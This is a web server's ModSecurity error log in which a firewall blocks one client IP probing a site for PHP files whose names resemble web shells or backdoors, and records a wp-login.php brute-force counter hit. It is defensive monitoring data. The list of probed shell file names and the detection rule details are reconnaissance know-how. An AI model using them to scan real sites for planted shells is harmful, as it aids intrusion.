[Mon Apr 13 09:58:50.820116 2026] [:error] [pid 63406:tid 63415] [client 20.91.214.115:30171] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "adxN2rHZEIkQ0Zmgp5o-5gAAAMQ"]
[Mon Apr 13 09:58:52.255554 2026] [:error] [pid 7228:tid 7239] [client 20.91.214.115:33014] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "adxN3AEnn1dQrOSHHNVAfgAAAQk"]
[Mon Apr 13 09:58:53.271173 2026] [:error] [pid 63310:tid 63355] [client 20.91.214.115:27637] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "adxN3XoXpRU5ztmwPjLLrQAAAEs"]
[Mon Apr 13 09:58:54.504713 2026] [:error] [pid 63310:tid 63344] [client 20.91.214.115:30184] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/b.php"] [unique_id "adxN3noXpRU5ztmwPjLLrwAAAEA"]
[Mon Apr 13 09:58:55.743825 2026] [:error] [pid 63406:tid 63432] [client 20.91.214.115:57595] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/b.php"] [unique_id "adxN37HZEIkQ0Zmgp5o-8AAAANU"]
[Mon Apr 13 09:58:56.949090 2026] [:error] [pid 7228:tid 7241] [client 20.91.214.115:30156] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/b.php"] [unique_id "adxN4AEnn1dQrOSHHNVAlQAAAQs"]
[Mon Apr 13 09:58:57.851963 2026] [:error] [pid 7228:tid 7251] [client 20.91.214.115:44881] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/b.php"] [unique_id "adxN4QEnn1dQrOSHHNVAnQAAARU"]
[Mon Apr 13 09:58:58.607084 2026] [:error] [pid 63311:tid 63392] [client 20.91.214.115:8645] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws49.php"] [unique_id "adxN4qHjrGN1MqBCVFlRqwAAAJU"]
[Mon Apr 13 09:58:59.400883 2026] [:error] [pid 7228:tid 7230] [client 20.91.214.115:30161] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws49.php"] [unique_id "adxN4wEnn1dQrOSHHNVAoAAAAQA"]
[Mon Apr 13 09:59:00.098600 2026] [:error] [pid 63309:tid 63330] [client 20.91.214.115:27589] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws49.php"] [unique_id "adxN5EpIKZ10weXpf0WwNQAAABE"]
[Mon Apr 13 09:59:00.771145 2026] [:error] [pid 63309:tid 63335] [client 20.91.214.115:30167] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws49.php"] [unique_id "adxN5EpIKZ10weXpf0WwNgAAABY"]
[Mon Apr 13 09:59:01.564105 2026] [:error] [pid 63406:tid 63434] [client 20.91.214.115:8683] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "adxN5bHZEIkQ0Zmgp5o-_gAAANc"]
[Mon Apr 13 09:59:04.296644 2026] [:error] [pid 63406:tid 63423] [client 20.91.214.115:27626] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "adxN6LHZEIkQ0Zmgp5o_BAAAAMw"]
[Mon Apr 13 09:59:06.713716 2026] [:error] [pid 7228:tid 7254] [client 20.91.214.115:8646] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "adxN6gEnn1dQrOSHHNVArwAAARg"]
[Mon Apr 13 09:59:10.848717 2026] [:error] [pid 63310:tid 63345] [client 20.91.214.115:8687] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "adxN7noXpRU5ztmwPjLLvgAAAEE"]
[Mon Apr 13 09:59:16.552856 2026] [:error] [pid 63311:tid 63385] [client 20.91.214.115:39995] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "adxN9KHjrGN1MqBCVFlRzQAAAI4"]
[Mon Apr 13 09:59:18.120267 2026] [:error] [pid 63311:tid 63394] [client 20.91.214.115:57565] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "adxN9qHjrGN1MqBCVFlR0gAAAJc"]
[Mon Apr 13 09:59:22.162158 2026] [:error] [pid 63309:tid 63319] [client 20.91.214.115:39942] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "adxN-kpIKZ10weXpf0WwRQAAAAY"]
[Mon Apr 13 09:59:23.015361 2026] [:error] [pid 63311:tid 63383] [client 20.91.214.115:8690] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "adxN-6HjrGN1MqBCVFlR2gAAAIw"]
[Mon Apr 13 09:59:24.423098 2026] [:error] [pid 63311:tid 63381] [client 20.91.214.115:30204] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gfd.php"] [unique_id "adxN_KHjrGN1MqBCVFlR4AAAAIo"]
[Mon Apr 13 09:59:25.289670 2026] [:error] [pid 63311:tid 63390] [client 20.91.214.115:30166] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gfd.php"] [unique_id "adxN_aHjrGN1MqBCVFlR4wAAAJM"]
[Mon Apr 13 09:59:26.273908 2026] [:error] [pid 7228:tid 7242] [client 20.91.214.115:8665] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gfd.php"] [unique_id "adxN_gEnn1dQrOSHHNVA0AAAAQw"]
[Mon Apr 13 09:59:27.400574 2026] [:error] [pid 63310:tid 63351] [client 20.91.214.115:57558] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gfd.php"] [unique_id "adxN_3oXpRU5ztmwPjLL0wAAAEc"]
[Mon Apr 13 09:59:28.040219 2026] [:error] [pid 63406:tid 63423] [client 20.91.214.115:44886] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/callback.php"] [unique_id "adxOALHZEIkQ0Zmgp5o_IAAAAMw"]
[Mon Apr 13 09:59:28.775405 2026] [:error] [pid 7228:tid 7248] [client 20.91.214.115:32970] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/callback.php"] [unique_id "adxOAAEnn1dQrOSHHNVA2QAAARI"]
[Mon Apr 13 09:59:30.900657 2026] [:error] [pid 7228:tid 7230] [client 20.91.214.115:30174] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/callback.php"] [unique_id "adxOAgEnn1dQrOSHHNVA3AAAAQA"]
[Mon Apr 13 09:59:36.387760 2026] [:error] [pid 7228:tid 7249] [client 20.91.214.115:39940] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/callback.php"] [unique_id "adxOCAEnn1dQrOSHHNVA7QAAARM"]
[Mon Apr 13 10:01:07.236119 2026] [:error] [pid 63310:tid 63361] [client 20.91.214.115:57383] [client 20.91.214.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.91.214.115, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "adxOY3oXpRU5ztmwPjLMLAAAAFE"]
[Mon Apr 13 10:02:23.540833 2026] [:error] [pid 63311:tid 63372] [client 20.91.214.115:63864] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gdn.php"] [unique_id "adxOr6HjrGN1MqBCVFlSsQAAAIE"]
[Mon Apr 13 10:02:27.691840 2026] [:error] [pid 7228:tid 7251] [client 20.91.214.115:8902] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gdn.php"] [unique_id "adxOswEnn1dQrOSHHNVC0QAAARU"]
[Mon Apr 13 10:02:33.375771 2026] [:error] [pid 7228:tid 7253] [client 20.91.214.115:21930] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gdn.php"] [unique_id "adxOuQEnn1dQrOSHHNVC6AAAARc"]
[Mon Apr 13 10:02:34.705487 2026] [:error] [pid 7228:tid 7249] [client 20.91.214.115:8898] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/first.php"] [unique_id "adxOugEnn1dQrOSHHNVC7gAAARM"]
[Mon Apr 13 10:02:35.944250 2026] [:error] [pid 63311:tid 63372] [client 20.91.214.115:47046] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/first.php"] [unique_id "adxOu6HjrGN1MqBCVFlSvAAAAIE"]
[Mon Apr 13 10:02:36.637277 2026] [:error] [pid 7228:tid 7241] [client 20.91.214.115:50872] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/first.php"] [unique_id "adxOvAEnn1dQrOSHHNVC8QAAAQs"]
[Mon Apr 13 10:02:37.470136 2026] [:error] [pid 7228:tid 7248] [client 20.91.214.115:63840] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/first.php"] [unique_id "adxOvQEnn1dQrOSHHNVC9QAAARI"]
[Mon Apr 13 10:02:38.510828 2026] [:error] [pid 63406:tid 63422] [client 20.91.214.115:21933] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/redixsx.php"] [unique_id "adxOvrHZEIkQ0Zmgp5pAMQAAAMs"]
[Mon Apr 13 10:02:39.297011 2026] [:error] [pid 63309:tid 63315] [client 20.91.214.115:47092] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/redixsx.php"] [unique_id "adxOv0pIKZ10weXpf0WxAQAAAAI"]
[Mon Apr 13 10:02:41.475295 2026] [:error] [pid 63310:tid 63362] [client 20.91.214.115:8952] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/redixsx.php"] [unique_id "adxOwXoXpRU5ztmwPjLMZwAAAFI"]
[Mon Apr 13 10:02:43.623889 2026] [:error] [pid 7228:tid 7243] [client 20.91.214.115:63849] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/redixsx.php"] [unique_id "adxOwwEnn1dQrOSHHNVC_wAAAQ0"]
[Mon Apr 13 10:02:44.861617 2026] [:error] [pid 63309:tid 63320] [client 20.91.214.115:21896] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cpp2.php"] [unique_id "adxOxEpIKZ10weXpf0WxCAAAAAc"]
[Mon Apr 13 10:02:45.553782 2026] [:error] [pid 63406:tid 63434] [client 20.91.214.115:21911] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cpp2.php"] [unique_id "adxOxbHZEIkQ0Zmgp5pAPAAAANc"]
[Mon Apr 13 10:02:48.236802 2026] [:error] [pid 63310:tid 63363] [client 20.91.214.115:8912] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cpp2.php"] [unique_id "adxOyHoXpRU5ztmwPjLMaAAAAFM"]
[Mon Apr 13 10:02:50.580658 2026] [:error] [pid 63310:tid 63346] [client 20.91.214.115:50853] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cpp2.php"] [unique_id "adxOynoXpRU5ztmwPjLMagAAAEI"]
[Mon Apr 13 10:02:51.464143 2026] [:error] [pid 63406:tid 63414] [client 20.91.214.115:45551] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admlo.php"] [unique_id "adxOy7HZEIkQ0Zmgp5pASwAAAMM"]
[Mon Apr 13 10:02:52.621483 2026] [:error] [pid 63310:tid 63352] [client 20.91.214.115:8941] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admlo.php"] [unique_id "adxOzHoXpRU5ztmwPjLMbgAAAEg"]
[Mon Apr 13 10:02:55.759965 2026] [:error] [pid 63311:tid 63373] [client 20.91.214.115:50838] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admlo.php"] [unique_id "adxOz6HjrGN1MqBCVFlS2QAAAII"]
[Mon Apr 13 10:02:58.440789 2026] [:error] [pid 63406:tid 63422] [client 20.91.214.115:50859] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admlo.php"] [unique_id "adxO0rHZEIkQ0Zmgp5pAWAAAAMs"]
[Mon Apr 13 10:03:00.976338 2026] [:error] [pid 63310:tid 63356] [client 20.91.214.115:54295] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin-ajax.php"] [unique_id "adxO1HoXpRU5ztmwPjLMcAAAAEw"]
[Mon Apr 13 10:03:02.609864 2026] [:error] [pid 7228:tid 7251] [client 20.91.214.115:21934] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin-ajax.php"] [unique_id "adxO1gEnn1dQrOSHHNVDLgAAARU"]
[Mon Apr 13 10:03:04.041061 2026] [:error] [pid 7228:tid 7235] [client 20.91.214.115:50846] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin-ajax.php"] [unique_id "adxO2AEnn1dQrOSHHNVDMgAAAQU"]
[Mon Apr 13 10:03:15.479353 2026] [:error] [pid 7228:tid 7252] [client 20.91.214.115:21916] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amthd.php"] [unique_id "adxO4wEnn1dQrOSHHNVDXAAAARY"]
[Mon Apr 13 10:06:57.330188 2026] [:error] [pid 63406:tid 63434] [client 20.91.214.115:8465] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/schallfuns.php"] [unique_id "adxPwbHZEIkQ0Zmgp5pCFAAAANc"]
[Mon Apr 13 10:06:58.955276 2026] [:error] [pid 63311:tid 63382] [client 20.91.214.115:8474] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/schallfuns.php"] [unique_id "adxPwqHjrGN1MqBCVFlUYQAAAIs"]
[Mon Apr 13 10:07:02.384835 2026] [:error] [pid 7228:tid 7230] [client 20.91.214.115:8469] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/schallfuns.php"] [unique_id "adxPxgEnn1dQrOSHHNVFiQAAAQA"]
[Mon Apr 13 10:07:03.377111 2026] [:error] [pid 7228:tid 7249] [client 20.91.214.115:8448] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/schallfuns.php"] [unique_id "adxPxwEnn1dQrOSHHNVFjQAAARM"]
[Mon Apr 13 10:07:05.018737 2026] [:error] [pid 63311:tid 63378] [client 20.91.214.115:12394] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adxPyaHjrGN1MqBCVFlUbAAAAIc"]
